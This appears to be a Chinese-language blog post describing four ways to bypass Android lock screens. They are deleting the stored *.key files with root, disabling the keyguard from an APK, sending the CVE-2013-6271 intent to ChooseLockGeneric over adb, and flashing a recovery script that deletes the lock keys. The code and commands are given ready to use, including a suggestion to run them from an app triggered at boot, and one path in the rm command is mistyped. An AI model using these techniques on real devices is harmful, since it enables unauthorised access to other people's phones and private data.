首先各种屏锁都有其对应的编码方式,最终以二进制的形式(可能加密)存放在系统某个目录,一般位于目录/data/system下,以*.key等文件存储。当需用户输入密码(图形)时,会将我们的输入进行相应的编码,最后于本地存储的二进制进行比较,判断是否解锁成功。所以,最直接的方式就是强暴!
方法1.
前置条件:已root
细节:已经root了,还有什么好说的,直接把需要比对的文件强行抹掉就OK了。因此命令 rm /dara/system/*.key
至于用什么方式删除,可以usb连接通过adb完成。也可以写个手机应用某些特定条件下触发。
方法2.
前置条件:无
细节:该方法没那么恶劣,并不是直接把对比文件删除,小小的利用了存在的一个小的逻辑漏洞(也有可能是有些应用需要改功能,所以google提供了api)。该方法只是简单的屏蔽掉了解锁的界面,有木有很文雅。对于图形锁进去之后,按home键还是能弹出锁屏界面。
KeyguardManager manager = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);if (manager.inKeyguardRestrictedInputMode()) { KeyguardLock keyguard = manager.newKeyguardLock(this.getClass().getName()); keyguard.disableKeyguard();}
就这么一句话,写成apk运行就好了,可以写成开机启动触发apk运行,也可以写成脚本usb连接后adb运行apk。上次的小小展示就是这个。
方法3.
13年11月新的招式~~~
前置条件:无细节:大家都知道android上屏锁有很多类,字符密码,pin码,图案码,人脸码,当然还有无码。那么我们切换屏锁类型是是需要验证之前密码的。
而这个验证环节与系统应用有关,com.android.settings这个APK的其中一个类:com.android.settings.ChooseLockGeneric。由于android是开源的,那么可以查看其对应的源代码,找到漏洞,构造特定数据就可以实现绕过了。usb连接,启用adb尝试吧!
adb shell am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task
该命令就是想特定apk特定的一个组件发送intent并附带我们构造的数据,有兴趣的可以多了解,同样可以写成一个应用执行
举这个例子也想告诉大家,android平台的安全有一个特点,也许自身应用是安全的,但是它可以通过另一个应用做坏事,也可以被另一个恶意程序利用
具体分析可以查看:https://cureblog.de/2013/11/cve-2013-6271-remove-device-locks-from-android-phone/
还有一些方式,这里不展开了,都是需要adb或多或少需要开启usb调试模式
方法4.
前置条件:可以刷机
由于版本不一,还有本人没有实践,只是看了下刷机脚本,觉得可行,外国佬某博客说他做到不格式化数据解锁。原理其实是方法1
ui_print("Password Resetting ZIP by RahulB");
ui_print("Mounting System");
ui_print("Mounting Data");
run_program("/sbin/busybox", "mount", "/system");
run_program("/sbin/busybox", "mount", "/data");
ui_print("Deleting Pattern/ PIN Lock Keys");
delete("/data/system/gesture.key");
delete("/data/system/password.key");
ui_print("Unmounting System");
ui_print("Unmounting Data");
run_program("/sbin/busybox", "umount", "/system");
run_program("/sbin/busybox", "umount", "/data");
ui_print("Done :D");
方法还有很多很多,不列举了,有兴趣的大家留着,密码忘记了可以自行解决